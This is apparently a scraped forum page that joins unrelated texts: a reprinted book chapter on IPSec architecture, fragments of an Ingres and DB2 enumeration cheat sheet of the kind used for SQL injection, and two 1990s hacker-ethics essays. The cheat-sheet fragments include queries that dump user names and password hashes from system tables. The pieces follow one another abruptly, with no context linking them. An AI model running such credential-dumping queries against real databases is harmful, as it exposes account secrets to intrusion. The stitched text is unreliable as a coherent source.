Nytro

IPSec Architecture By Naganand Doraswamy , Dan Harkins Chapter 4 of IPSec – The New Security Standard for the Internet, Intranets and Virtual Private Networks (Prentice Hall, PTR) On This Page Introduction The IPSec Roadmap IPSec Implementation IPSec Modes Security Associations SA Management Introduction This chapter discusses the IPSec architecture in detail. This includes various components of IPSec, how they interact with each other, the protocols in the IPSec family, and the modes in which they operate. The IPSec working group at the IETF has defined 12 RFCs (Request for Comments). The RFCs define various aspects of IPSec - architecture, key management, base protocols, and the mandatory transforms to implement for the base protocols. This chapter concentrates mostly on the architecture. The base protocols and the key management protocols are discussed in greater detail in other chapters. Top Of Page The IPSec Roadmap The IPSec protocols include - AH, ESP, IKE, ISAKMP/Oakley, and transforms. In order to understand, implement, and use IPSec, it is necessary to understand the relationship among these components. The IPSec roadmap defines how various components of IPSec interact with each other. This is shown in Figure 4.1. Figure 4.1: IPSec Roadmap (this figure has been reproduced from the draft with permission of the authors) IPSec is a suite of protocols and it is important to understand how these protocols interact with each other and how these protocols are tied together to implement the capabilities described by the IPSec architecture. The IPSec architecture, as described in the previous chapter, defines the capabilities the hosts and gateways should provide. For example, IPSec architecture requires the host to provide confidentiality using ESP, and data integrity using either AH or ESP and antireply protection. However, the architecture document does not specify the header formats for these protocols. The architecture discusses the semantics of the IPSec protocols and the issues involved in the interaction among the IPSec protocols and the rest of the TCP/IP protocol suite. The ESP and the AH documents define the protocol, the payload header format, and the services they provide. In addition these documents define the packet processing rules. However, they do not specify the transforms that are used to provide these capabilities. This is because the new transforms can be defined when the algorithms used by the older transforms are proved to be cryptographically insecure. However, this does not mandate any change to the base protocols. The transforms define the transformation applied to the data to secure it. This includes the algorithm, the key sizes and how they are derived, the transformation process, and any algorithmic-specific information. It is important to be specific about the necessary information so that different implementations can interoperate. Let us consider the DES-DBC transform that is defined for ESP. If we do not specify how the Initialization Vector is derived, the two implementations end up deriving the Initialization Vector in different ways, and they will never be able to interoperate. IKE generates keys for the IPSec protocols. IKE is also used to negotiate keys for other protocols that need keys. There are other protocols in the Internet that require security services such as data integrity to protect their data. One such example is OSPF (Open Shortest Path First) routing protocol. The payload format of IKE is very generic. It can be used to negotiate keys for any protocol and not necessarily limit itself for IPSec key negotiation. This segregation is achieved by separating the parameters IKE negotiates from the protocol itself. The parameters that are negotiated are documented in a separate document called the IPSec Domain of Interpretation. An important component that is not yet a standard is "policy." Policy is a very important issue because it determines if two entities will be able to communicate with each other and, if so, what transforms to use. It is possible, with improperly defined policies, for two sides to be unable to communicate with each other. The issues with policy are representation and implementation. Representation deals with definition of policy, storage, and retrieval. The IETF is currently working on defining the policy standards. The implementation addresses the application of policy for actual communication. It is important that the keys established by the key management protocol are applied appropriately in the communication. It is equally important to apply the appropriate filters and rules. This chapter discusses the implementation issues of policy and how these rules are applied to the IPSec traffic. The policy representation is discussed later. Top Of Page IPSec Implementation IPSec can be implemented and deployed in the end hosts or in the gateways/routers or in both. Where in the network IPSec is deployed depends on the security requirements of the users. This section discusses the capabilities and implications of implementing IPSec in various network devices (hosts and routers). There are merits in implementing IPSec in both routers and end hosts as they address different problems. The host implementation is most useful when security is desired end to end. However, in cases when security is desired over a part of a network, router implementation is desirable. This includes VPNs and intranets. Host Implementation The proper definition of a host in this context is the device where the packet is originating. The host implementation has the following advantages: Provides security end to end Ability to implement all modes of IPSec security Provides security on a per flow basis Ability to maintain user context for authentication in establishing IPSec connections Host implementations can be classified into: Implementation integrated with the operating system (OS). We call it host implementation (for lack of a better term!). Implementation that is a shim between the network and the data link layer of the protocol stack. This is called the "Bump in the Stack" implementation. OS Integrated In the host implementation, IPSec may be integrated with the OS. As IPSec is a network layer protocol, it may be implemented as part of the network layer as shown in Figure 4.2. IPSec layer needs the services of the IP layer to construct the IP header. This model is identical to the implementation of other network layer protocols such as ICMP. Figure 4.2: IPSec stack layering There are numerous advantages of integrating the IPSec with the OS. A few key advantages are listed below. As IPSec is tightly integrated into the network layer, it can avail the network services such as fragmentation, PMTU, and user context (sockets). This enables the implementation to be very efficient. It is easier to provide security services per flow (such as a Web transaction) as the key management, the base IPSec protocols, and the network layer can be integrated seamlessly. All IPSec modes are supported. Bump in the Stack For companies providing solutions for VPNs and intranets, OS integrated solution has one serious drawback. On the end hosts, they have to work with the features provided by the OS vendors. This may limit their capabilities to provide advanced solutions. To overcome this limitation, IPSec is implemented as a shim, and inserted between the network and the data link layer as shown in Figure 4.3. This is commonly referred to as Bump in the Stack (BITS) implementation. Figure 4.3: BITS IPSec stack layering As you may notice, the major issue in this implementation is duplication of effort. It requires implementing most of the features of the network layer, such as fragmentation and route tables. Duplicating functionality leads to undesired complications. It becomes more difficult to handle issues such as fragmentation, PMTU, and routing. An advantage of BITS implementation is the capability of an implementation to provide a complete solution. Vendors providing integrated solutions such as firewalls, prefer to have their own client as the OS vendor and may not have all the features required to provide a complete solution. Router Implementation The router implementation provides the ability to secure a packet over a part of a network. For example, an organization may be paranoid about the Internet and not its own private network. In this case, it may want to secure only those packets destined to the geographically distributed branch as these packets traverse the Internet to build its VPN or intranet. The IPSec implementation provides security by tunneling the packets. The router implementation has the following advantages: Ability to secure packets flowing between two networks over a public network such as the Internet. Ability to authenticate and authorize users entering the private network. This is the capability that many organizations use to allow their employees to telecommute over the Internet to build its VPN or intranet. Previously, this was possible only over dial-ups (dialing through modem directly into the organization). There are two types of router implementation: Native implementation: This is analogous to the OS integrated implementation on the hosts. In this case, IPSec is integrated with the router software. Bump in the Wire (BITW): This is analogous to BITS implementation. In this case, IPSec is implemented in a device that is attached to the physical interface of the router. This device normally does not run any routing algorithm but is used only to secure packets. BITW is not a long-term solution as it is not viable to have a device attached to every interface of the router. The network architectures for these implementations is shown in Figure 4.4. Figure 4.4: A Native Implementation deployment architecture Figure 4.4: B BITW deployment architecture The IPSec implementation on routers has many implications on the packet-forwarding capabilities of the router. The routers are expected to forward packets as fast as possible. In fact, we are already seeing core routers that can forward up to 30 million packets per second! Although IPSec may not be used in the core of the Internet, the implementations should still be concerned about efficiency. The packets that do not require security should not be affected because of IPSec. They should still be forwarded at normal rates. Many implementations make use of some hardware assists to perform public key operations, random number generation, encryption/decryption, and calculating hashes. There are specialized chipsets that assist the basic router hardware with security operations. Another issue with router implementation is IPSec contexts. Memory on the routers is still a scarce commodity, although this is changing fast with memory prices falling rapidly. As the router has to store huge routing tables and normally does not have huge disks for virtual memory support, maintaining too many IPSec contexts is an issue. Top Of Page IPSec Modes We have talked about IPSec in transport mode and tunnel mode without explaining when and how IPSec protocols are used in these modes. In this section, we describe how the IPSec protocols, AH and ESP, implement the tunnel and transport modes. There are four possible combinations of modes and protocol: AH in transport mode, AH in tunnel mode, ESP in transport mode, and ESP in tunnel mode. In practice, AH in tunnel mode is not used because it protects the same data that AH in transport mode protects. The AH and ESP header do not change between tunnel or transport mode. The difference is more semantic in nature‹what it is they are protecting, IP packet or an IP payload. The guidelines for deciding what mode to use and some examples of using IPSec in various modes, is discussed in later chapters. Transport Mode In transport mode, AH and ESP protect the transport header. In this mode, AH and ESP intercept the packets flowing from the transport layer into the network layer and provide the configured security. Let us consider an example. In Figure 4.5, A and B are two hosts that have been configured so that all transport layer packets flowing between them should be encrypted. In this case, transport mode of ESP is used. If the requirement is just to authenticate transport layer packets, then transport mode of AH is used. Figure 4.5: Hosts with Transport ESP When security is not enabled, transport layer packets such as TCP and UDP flow into the network layer, IP, which adds the IP header and calls into the data link layer. When security in transport layer is enabled, the transport layer packets flow into the IPSec component. The IPSec component is implemented as part of the network layer (when intergrated with OS). The IPSec component adds the AH, ESP, or both headers, and invokes the part of the network layer that adds the network layer header. The transport mode of IPSec can be used only when security is desired end to end. As stated earlier, the routers look mostly at the network layer in making routing decisions and the routers do not and should not change anything beyond the network layer header. Inserting transport mode IPSec header for packets flowing through a router is a violation of this rule. When both AH and ESP are used in transport mode, ESP should be applied first. The reason is obvious. If the transport packet is first protected using AH and then using ESP, the data integrity is applicable only for the transport payload as the ESP header is added later on as shown in Figure 4.6. This is not desirable because the data integrity should be calculated over as much data as possible. Figure 4.6: Packet format with ESP and AH If the packet is protected using AH after it is protected using ESP, then the data integrity applies to the ESP payload that contains the transport payload as shown in Figure 4.7. Figure 4.7: Packet format with AH and ESP The transport mode for BITS implementation is not as clean, as the ESP and AH headers are inserted after the IP payload is constructed. This implies the BITS implementation has to duplicate the IP functionality because it has to recalculate the IP checksum and fragment the packet if necessary. Many BITS implementations may not support transport mode but support only tunnel mode. Tunnel Mode IPSec in tunnel mode is normally used when the ultimate destination of the packet is different from the security termination point as shown in Figure 4.8 or in case of BITS or BITW implementations. The tunnel mode is used in cases when security is provided by a device that did not originate packets - as in the case of VPNs - or when the packet needs to be secured to a destination that is different from the actual destination. Figure 4.8: IPSec in tunnel mode It is also used when a router provides security services for packets it is forwarding. The operation of tunnel mode is discussed in detail in the IPSec implementation chapter. In the case of tunnel mode, IPSec encapsulates an IP packet with IPSec headers and adds an outer IP Header as shown in Figure 4.9. Figure 4.9: IPSec tunneled Mode packet format An IPSec tunneled mode packet has two IP headers‹inner and outer. The inner header is constructed by the host and the outer header is added by the device that is providing the security services. This can be either the host or a router. There is nothing that precludes a host from providing tunneled mode security services end to end. However, in this case there is no advantage to using tunnel mode instead of transport mode. In fact, if the security services are provided end to end, transport mode is better because it does not add an extra IP header. IPSec defines tunnel mode for both AH and ESP. IPSec also supports nested tunnels. The nested tunneling is where we tunnel a tunneled packet as shown in Figure 4.10A. Figure 4.10: A Nested tunnel example Figure 4.10: B Nested packet format In this example, host A is sending a packet to host B. The policy says it has to authenticate itself to router RB. In addition, there is a VPN between the two networks bordered by RA and RB. The packet seen by router RB is shown in Figure 4.10B. The outermost header is the tunneled ESP packet. It is carrying a tunneled AH packet. The tunneled AH packet is carrying the IP packet destined for the host B generated by host A. Figure 4.11: A Valid tunnel Figure 4.11: B Invalid tunnel The requirement for the tunnel is that inner header is completely encompassed by the outer header. The valid and invalid tunnels examples are shown in Figures 4.11A and B. The example shown in Figure 4.11A is valid as the inner tunnel (tunnel 2) is completely encompassed by tunnel 1. The example shown in Figure 4.11B is invalid because neither tunnel completely encompasses the other. To understand why this is invalid, let us trace the packet flow. After RA constructs the tunneled packet, the packet format is as shown in Figure 4.12A. Figure 4.12: A Tunneled packet When the packet reaches RB, it tunnels the packet to host C. The packet format when the packet leaves RB is shown in Figure 4.12B. Figure 4.12: B Invalid tunnel packet Clearly, this is incorrect because the packet now reaches host C before it reaches RC. When the packet reaches host C, it processes the AH header. When the second IP header is exposed, the host drops the packet because the destination is RC and not itself. Nested tunnels are difficult to build and maintain and should be used sparingly. Top Of Page Security Associations The Security Associations, or SAs as they are normally referred to in IPSec terminology, form the basis for IPSec. The SAs are the contract between two communicating entities. They determine the IPSec protocols used for securing the packets, the transforms, the keys, and the duration for which the keys are valid to name a few. Any IPSec implementation always builds an SA database (SADB) that maintains the SAs that the IPSec protocols use to secure packets. The SAs are one way, i.e., simplex. If two hosts, A and B, are communicating securely using ESP, then the host A will have an SA, SAout, for processing outbound packets and will have a different SA, SAin, for processing the inbound packets. The host B will also create two SAs for processing its packets. The SAout of the host A and the SAin of the host B will share the same cryptographic parameters such as keys. Similarly, SAin of the host A and the SAout of the host B will share the same cryptographic parameters. As SAs are unidirectional, a separate table is maintained for SAs used for outbound and inbound processing. The SAs are also protocol specific. There is an SA for each protocol. If two hosts A and B are communicating securely using both AH and ESP, then each host builds a separate SA for each protocol. There is another component in the IPSec architecture called the security policy database (SPD). The SPD works in conjunction with the SADB in processing packets. The policy is an extremely important component of IPSEC architecture. The policy defines the security communications characteristics between two entities. It defines what protocols to use in what modes and the transforms to use. It also defines how the IP packets are treated. This is discussed in detail in later sections. Security Parameter Index (SPI) The SPI is a very important element in the SA. An SPI is a 32-bit entity that is used to uniquely identify an SA at the receiver. It was mentioned before that the security context or SA is a contract between two hosts communicating securely and indicates the parameters, such as keys and algorithms. However, there has to be some mechanism for the source to identify which SA to use to secure the packet and for the destination to identify which SA to use to check the security of the received packet. The source identifies the SA by using the selectors. However, the destination does not have access to all the fields in the selectors as some of the fields in the selectors belong to the transport layer. To solve the problem of identifying the SA on the destination, the SPI that uniquely identifies the SA on the destination is sent with every packet. The destination uses this value to index into the receiving SADB and fetch the SA. The obvious questions are who guarantees the uniqueness of the mapping between the SPI and SA and what is the domain of uniqueness on the destination for each protocol‹global, per source, or per address on the host. It is up to receiver/destination to guarantee this uniqueness. It is a requirement to maintain a separate SPI domain for each protocol. The destination can use any consistent mechanism to guarantee uniqueness inside each domain. The IPSec architecture specifies that the <spi, destination address> in the packet should uniquely identify an SA. The receiver allocates the SPI that is stored as part of the SA on the sender. The sender includes this in every packet under the assumption that the receiver can use this to uniquely identify the SA. If the receiver does not guarantee uniqueness, packets will fail security checks as invalid keys and transforms may be used. The sending host uses the selectors to uniquely index into the sending SADB. The output of this lookup is an SA that has all the security parameters negotiated, including the SPI. The host that allocates the SPI guarantees uniqueness. The SPI is reused once the SA expires but one is guaranteed at any point the mapping between <spi, dst>, and SA is one to one. The src address is used in cases where the host is multihomed, that is, a host with more than one IP interface. This can be because there is more than one network card on the card or because of the fact that multiple IP interfaces are configured on the same network card (the host has multiple IP addresses). In this case, it is possible that the index <spi, dst> is not unique and src is used to resolve the ambiguity. The SPI is passed as part of AH and ESP headers. The receiving host uses the tuple <spi, dst, protocol> (where dst is the destination address in the IP header) to uniquely identify the SA. It is possible to use the source address in addition to <spi, dst, protocol> to uniquely identify an SA to conserve the SPI space. However, this is not part of the standards and is something specific to an implementation. Top Of Page SA Management The two most important tasks of the SA management are creation and deletion. The management of SAs can be either manual or through an Internet standard key management protocol such as IKE. The SA management requires an interface for the user applications (which includes IKE) to communicate with kernel to manage the SADB. The management aspect is discussed in greater detail in the chapter on policy. Creation The SA creation is a two-step process‹negotiating the parameters of the SA and updating the SADB with the SA. Manual keying is mandatory to support and it was used extensively during the initial development and testing of IPSec. In manual keying, two sides agree on the parameters of the SA offline, either by phone or over e-mail (although unsecured e-mail is dangerous!). The process of allocating the SPI, negotiation of parameters is all manual. Needless to say, this process is error prone, cumbersome, and insecure. The other limiting factor is that these SAs never expire. Once they are created they stay good until they are deleted. Manual keying is a useful feature for debugging the base IPSec protocols when the key management protocols are failing. However, with a stable key management protocol, the use of manual keying is questionable. In an environment where IPSec is deployed, the SAs are created through an Internet standard key management protocol such as IKE. IKE is invoked by the IPSec kernel when the policy mandates that the connection should be secure and it cannot find the SA. IKE negotiates the SA with the destination or intermediate host/router, depending on the policy, and creates the SA. Once the SA is created and added to the SADB, secure packets start flowing between the two hosts. In the previous sections, we discussed nested or chained implementations of IPSec. For example, a host creates a transport AH to end to end, but also creates a tunneled ESP to the gateway/firewall. In this case, for the packet to be processed properly, the source has to create two SAs, one for the gateway and another for the end host. When the policy requires establishment of multiple SAs for two hosts to communicate securely, the collection of SAs is called SA bundle. Deletion The SA is deleted for various reasons: The lifetime has expired. The keys are compromised. The number of bytes encrypted/decrypted or authenticated using this SA has exceeded a certain threshold set by the policy. The other end requests that the SA be deleted. The SAs can be deleted manually or through the IKE. It is important to renew or refresh keys in security to reduce the chance of someone breaking the system. IPSec does not provide the ability to refresh keys. Instead, we have to delete existing SA and negotiate/create a new SA. Once the SA is deleted, the SPI it was using can be reused. To avoid the problem of stalling the communication, a new SA is negotiated before the existing SA expires. For a small duration of time, until the soon-to-expire SA is deleted, the two entities have multiple SAs that can be used for secure communication. However, it is always desirable to use the newly established SA instead of the older SA. Parameters The SA maintains the context of a secure communication between two entities. The SA stores both protocol-specific and generic fields. This section discusses the fields that are used by both AH and ESP. The protocol-specific fields are discussed in AH and ESP chapters. These fields are used in processing each IP packet. Some of the fields are used for outbound processing, some for inbound processing, and some for both, depending on the usage of the field. Certain fields are updated when the SA is used to process a packet. Semantics associated with the parameters in an SA are discussed below. Sequence Number The sequence number is a 32-bit field and is used in outbound processing. The sequence number is part of both AH and ESP header. The sequence number is incremented by 1 every time the SA is used to secure a packet. This field is used to detect replay attacks by the destination. When the SA is established this field is set to 0. Normally, SAs are renegotiated before this field overflows as it is unsafe to send more than 4 Giga (4,000,000,000) packets using the same keys. Sequence Number Overflow This field is used in outbound processing and is set when the sequence number overflows. The policy determines if the SA can still be used to process additional packets. Antireplay Window This field is used in inbound processing. One of the concerns in networks today is replay attack. In replay attacks, applications get bombarded with replay packets. IPSec overcomes this by detecting packets replayed by rogue hosts. This is discussed in greater detail where the inbound processing of packets is described in the implementation chapter. Lifetime There is a lifetime associated with each SA beyond which the SA cannot be used. The lifetime is specified either in terms of number of bytes that has been secured using this SA or the duration for which the SA has been used or both. When the lifetime of the SA expires, it cannot be used anymore. In order to avoid the problem of breaking the communication when the SA expires, there are two kinds of lifetimes‹soft and hard. The soft lifetime is used to warn the kernel that the SA is about to expire. This allows the kernel to negotiate a new SA before the hard lifetime expires. Mode IPSec protocols can be used either in tunnel or transport mode. The payload is processed differently depending on the value of this field. This field is set to tunnel mode, transport mode, or a wild card. In the cases where this field is set to wild card, the information as to whether it is IPSec in tunnel or transport mode is gleaned from someplace else, that is, sockets. When this field is set to a wild card, it implies that the SA can be used either for tunnel or transport mode. Tunnel Destination For IPSec in tunnel mode, this indicates the tunnel destination‹the destination IP address of the outer header. PMTU parameters When IPSec is used in tunnel mode, it has to maintain the PMTU information so that it can fragment the packets accordingly. As a part of PMTU field, the SA maintains two values‹the PMTU and the aging field. This is discussed in greater detail in the implementation chapter. Security Policy The security policy determines the security services afforded to a packet. As mentioned earlier, all IPSec implementations store the policy in a database called the SPD. The database is indexed by selectors and contains the information on the security services offered to an IP packet. The security policy is consulted for both inbound and outbound processing of the IP packets. On inbound or outbound packet processing, the SPD is consulted to determine the services afforded to the packet. A separate SPD can be maintained for the inbound and the outbound packets to support asymmetric policy, that is, providing different security services for inbound and outbound packets between two hosts. However, the key management protocol always negotiates bidirectional SAs. In practice, the tunneling and nesting will be mostly symmetric. For the outbound traffic, the output of the SA lookup in the SADB is a pointer to the SA or SA bundle, provided the SAs are already established. The SA or SA bundle will be ordered to process the outbound packet as specified in the policy. If the SAs are not established, the key management protocol is invoked to establish the packet. For the inbound traffic, the packet is first afforded security processing. The SPD is then indexed by the selector to validate the policy on the packet. We will discuss this in greater detail when we talk about IPSec in action. The security policy requires policy management to add, delete, and modify policy. The SPD is stored in the kernel and IPSec implementations should provide an interface to manipulate the SPD. This management of SPD is implementation specific and there is no standard defined. However, the management application should provide the ability to handle all the fields defined in the selectors that are discussed below. Selectors This section defines the various selectors used to determine the security services afforded to a packet. The selectors are extracted from the network and transport layer headers. Source Address The source address can be a wild card, an address range, a network prefix, or a specific host. Wild card is particularly useful when the policy is the same for all the packets originating from a host. The network prefix and address range is used for security gateways providing security to hosts behind it and to build VPNs. A specific host is used either on a multihomed host or in the gateways when a host¹s security requirements are specific. Destination Address The destination address can be a wild card, an address range, a network prefix, or a specific host. The first three are used for hosts behind secure gateways.The destination address field used as a selector is different from the destination address used to look up SAs in the case of tunneled IP packets. In the case of tunneled IP packets, the destination IP address of the outer header can be different from that of the inner header when the packets are tunneled. However, the policy in the destination gateway is set based on the actual destination and this address is used to index into the SPD. Name The name field is used to identify a policy tied to a valid user or system name. These include a DNS name, X.500 Distinguished Name, or other name types defined in the IPSec DOI. The name field is used as a selector only during the IKE negotiation, not during the packet processing. This field cannot be used as a selector during packet processing as there is no way to tie an IP address to a name presently. Protocol The protocol field specifies the transport protocol whenever the transport protocol is accessible. In many cases, when ESP is used the transport protocol is not accessible. Under these circumstances, a wild card is used. Upper Layer Ports In cases where there is session-oriented keying, the upper layer ports represent the src and dst ports to which the policy is applicable. The wild card is used when the ports are inaccessible. IPSec Processing In this section, the processing of the IPSec packets, both inbound and outbound, is discussed briefly. The interactions between the kernel and the key management layer is discussed in the IPSec implementation chapter. The header processing, both IPv4 and IPv6, are discussed in the IPSec implementation chapter. The IPSec processing is classified into outbound processing and inbound processing. Figure 4.13: Outbound IPSec processing Outbound On outbound processing, the transport layer packets flow in to IP layer. The IP layer consults the SPD to determine the security services afforded to this packet. The input into the SPD is the selectors defined in the previous section. The output of the SPD is one of the following: Drop the packet, in which case the packet is not processed and dropped. Bypass security, in which case the IP layer adds the IP header to the payload and dispatches the IP packet. Apply security, in which case, if an SA is already established, the pointer to it is returned. If SA is not established, then IKE is invoked to establish the SA. If the SAs are already established, SPD has a pointer to the SA or the SA bundle, depending on the policy. If the output of the policy mandates applying IPSec to the packets, the packets are not transmitted until the SAs are established. The IPSec implementation waits until the SAs for this packet are established, if they are not already established. After the SAs are established, it processes the packet by adding the appropriate AH and ESP headers. The SAs have all the pertinent information and are ordered so that the IPSec headers are constructed appropriately. For example, let us consider the network shown in the Figure 4.13. In this case, the host is tunneling a packet to the gateway using ESP but is authenticating to the end host B. The correct header is shown in Figure 4.14. Figure 4.14: Packet format In this case, IKE establishes four SAs‹two for sending and two for receiving. As we are discussing the outbound processing, we will ignore the SAs established for processing inbound packets. The two outbound SAs are SA1 and SA2, where SA1 is the SA between A and the gateway and SA2 is the SA between the host and the destination. The ordering of IPSec processing is very important. If SA2 is applied after SA1, the packet is formed incorrectly. It is very important to maintain ordering in the SA bundle so that IPSec processing is applied in the correct order for outbound packets. This section gave a very brief overview of the processing of the outbound packets. There are lot of other issues with constructing the header in handling fields such as sequence numbers and insertion of headers that is deferred to the implementation chapter. Inbound The inbound processing differs from the outbound processing. On the receipt of the IP packet, if the packet does not contain any IPSec headers, the security layer checks the policy to determine how to process the packet. It indexes the SPD using the selector fields. The output of the policy will be one of three values‹discard, bypass, or apply. If the output of the policy is discard, the packet is dropped. If the output of the policy is apply, but SAs are not established, the packet is dropped. Otherwise, the packet is passed up to the next layer for further processing. If the IP packet contains IPSec headers, the packet is processed by the IPSec layer. The IPSec layer extracts the SPI, the source addr, and the destination addr from the IP datagram. It indexes into the SADB using the tuple <SPI, dst, protocol> (additionally the source address is used, depending on the implementation). The protocol value is either AH or ESP. Depending on the protocol value, the packet is handled either by the AH or the ESP layer. After the protocol payload is processed, the policy is consulted to validate the payload. The selectors are used to retrieve the policy. The validation process consists of checking that the SA was used appropriately, that is, the source and destination in the SA corresponds to what the policy says and the SA is protecting the transport layer protocol it was supposed to protect. In case of tunneled packets, the source and destination selector fields are that of the inner header and not the outer header. Indexing into the SPD based on the outer source and destination values yields invalid results because the entry is constructed for the true source and destination and not the tunnel end point. Let us consider the example where the gateway is tunneling a packet for host B to host A. On the host A, the policy say, for packets arriving from B it will have a tunneled ESP and the tunnel source will be the secure gateway. Indexing into the SPD using the gateway as source instead of host B is incorrect. Once the IPSec layer validates the policy, it strips off the IPSec header and passes the packet to the next layer. The next layer is either a transport layer or a network layer. For example, if the packet is IP[ESP[TCP]]], then the next layer is a transport layer. If the packet is IP[AH[ESP[TCP]]] the next layer will be the IPSec layer that belongs to the network layer. Fragmentation IPSec does not fragment or reassemble packets. On outbound processing, the transport payload is processed and then passed on to the IP layer for further processing. On inbound processing, the IPSec layer gets a reassembled packet from the IP layer. However, as IPSec does add IPSec header, it impacts the PMTU length. If IPSec does not participate in PMTU discovery, the IP layer ends up fragmenting a packet as the addition of the IPSec header increases the length of the IP datagram beyond the PMTU. It is important for IPSec to participate in the PMTU discovery process. This is discussed in greater detail in the chapter on IPSec implementation. ICMP ICMP processing is critical to the operation and debugging of a network. When IPSec is used end-to-end, it does not impact ICMP. However, when IPSec is used in tunnel mode, it impacts ICMP and the operation of the network. The problem arises in the tunnel mode, particularly when the tunnel header is added by an intermediate gateway. This is because ICMP messages are required to send only 64 bits of the original header. When the gateway adds the tunneled header and the IPSec header, the inner IP header and hence the actual source is not present in the ICMP error message. The gateway will not be able to forward the message appropriately. In order to handle ICMP error messages correctly, IPSec needs to maintain some state and perform extra processing. This is discussed in greater detail in the implementation chapter. About the Authors: Naganand Doraswamy is a senior principal engineer at Nortel Networks in Billerica, MA., and an active participant in the IETF and key industry panels on VPNs and IP security. He was a network security architect at Bay Networks (currently Nortel Networks) and is currently working on next-generation router architectures and protocols. He was the technical lead for IP Security at FTP Software. Dan Harkins, formerly a senior software engineer in the Network Protocol Security Group at Cisco Systems, is currently a Senior Scientist at Network-Alchemy in Santa Cruz, CA, and is active in several IETF working groups. He wrote IPSec's standard Internet Key Exchange (IKE) key management protocol. Copyright © Prentice Hall, PTR 1999. All rights reserved. We at Microsoft Corporation hope that the information in this work is valuable to you. Your use of the information contained in this work, however, is at your sole risk. All information in this work is provided "as -is", without any warranty, whether express or implied, of its accuracy, completeness, fitness for a particular purpose, title or non-infringement, and none of the third-party products or information mentioned in the work are authored, recommended, supported or guaranteed by Microsoft Corporation. Microsoft Corporation shall not be liable for any damages you may sustain by using this information, whether direct, indirect, special, incidental or consequential, even if it has been advised of the possibility of such damages. Top Of Page

Version select dbmsinfo('_version'); Comments SELECT 123; -- comment select 123; /* comment */ Current User select dbmsinfo('session_user'); select dbmsinfo('system_user'); List Users First connect to iidbdb, then: select name, password from iiuser; List Password Hashes First connect to iidbdb, then: select name, password from iiuser; List Privileges select dbmsinfo('db_admin'); select dbmsinfo('create_table'); select dbmsinfo('create_procedure'); select dbmsinfo('security_priv'); select dbmsinfo('select_syscat'); select dbmsinfo('db_privileges'); select dbmsinfo('current_priv_mask'); Current Database select dbmsinfo('database'); List Columns select column_name, column_datatype, table_name, table_owner from iicolumns; List Tables select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != '$ingres'; Select Nth Row Astoundingly, this doesn't seem to be possible! This is as close as you can get: select top 10 blah from table; select first 10 blah form table; Select Nth Char select substr('abc', 2, 1); -- returns 'b' Casting select cast(123 as varchar); select cast('123' as integer); String Concatenation select 'abc' || 'def';

Version select versionnumber, version_timestamp from sysibm.sysversions; Comments select blah from foo; -- comment like this Current User select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1; List Users N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth; List Password Hashes N/A (I think DB2 uses OS-level user accounts for authentication.) List Privileges select * from syscat.tabauth; -- privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user; Current Database select current server from sysibm.sysdummy1; List Databases SELECT schemaname FROM syscat.schemata; List Columns select name, tbname, coltype from sysibm.syscolumns; List Tables select name from sysibm.systables; Select Nth Row select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; Select Nth Char SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; -- returns b ASCII Value -> Char select chr(65) from sysibm.sysdummy1; -- returns 'A' Char -> ASCII Value select ascii('A') from sysibm.sysdummy1; -- returns 65 Casting SELECT cast('123' as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1; String Concatenation SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'

Gasit din intamplare from RedDragon on IRC, handed to newbies... Are You a Hacker? Take a little quiz for me today. Tell me if you fit this description. You got your net account several months ago. You have been surfing the net, and you laugh at those media reports of the information superhighway. You have a red box, you don't have to pay for phone calls. You have crackerjack, and you have run it on the password file at a unix you got an account on. Everyone at your school is impressed by your computer knowledge, you are the one the teachers ask for help. Does this sound like you? You are not a hacker. There are thousands of you out there. You buy 2600 and you ask questions. You read phrack and you ask questions. You join #hack and you ask questions. You ask all of these questions, and you ask what is wrong with that? After all, to be a hacker is to question things, is it not? But, you do not want knowledge. You want answers. You do not want to learn how things work. You want answers. You do not want to explore. All you want to know is the answer to your damn questions. You are not a hacker. Hacking is not about answers. Hacking is about the path you take to find the answers. If you want help, don't ask for answers, ask for a pointer to the path you need to take to find out those answers for yourself. Because it is not the people with the answers that are the hackers, it is the people that are travelling along the path. -ReDragon So You Want To Be A Hacker? Subject: [uXu-453] So You Want To Be A Hacker? [ So You Want To Be A Hacker? ] [ By drazQ ] ____________________________________________________________________ ____________________________________________________________________ So you want to be a hacker? (I'm sorry, but this is your life) written by drazQ (drazq@hotmail.com) Hackers are evil, and powerful - they're the true action-heroes of cyber- space. Everyone wants to be a hacker, and everyone calls themselves hackers. It's all a media hype. It's all a cliche'. And it's all so pathetic. IRC is crowded by the people who love to refer to themselves as hackers. The Internet is polluted by their meanings, ideas, pathetic deeds and their interminable bragging. Cyberspace is polluted by their ignorance. They never stop, they never try to understand. They have no clue what it's all about. They got their first modem in the 90s and went straight on the Internet (Bulletin Board System? Say again?). Even if they try, they can't understand. They're influenced by the others - the others who are just like them. The others who just want to be hackers. The others who call themselves hackers. It's a never-ending circle, and it's so easy to get into it. It's dangerously easy, and once you're in - it's no way back. I know it sounds like a cliche', but it's the truth. That's what it's like. So, who are you? Where do you stand? Why do you want to be a hacker? Have you ever asked yourself those questions ... - and gotten an answer you were comfortable with. Are you sure? I think you're influenced. Influenced by the media hype no.1 of the 90s. Influenced by the ignorant people you associate with. Influenced by texts like this, in magazines like this. I KNOW you are influenced. You can read thousands of texts, discuss hacking with thousands of people - but you won't understand anything before you understand the real hackers. The people who don't even want to call themselves "hackers" anymore, because of what it has become. A pathetic, commercial cliche'. Used and abused. Am I different from you? Maybe, maybe not. I like to think so, but if I sit down and think - try to understand - I realize that I also am influenced by the ignorance. Maybe we're all the same, the "hackers" of the 90s. So what do I want with this text? I want you to think. Lean back, enjoy a Schweppers, and THiNK. --------------------------------------------------------------------------- uXu #453 Underground eXperts United 1998 uXu #453 Call KASTLEROCK -> +1-724-527-3749 --------------------------------------------------------------------------- http://www.packetstormsecurity.org/docs/hack/ethics/

Pfff, tampenie facuta cu Website Maker...

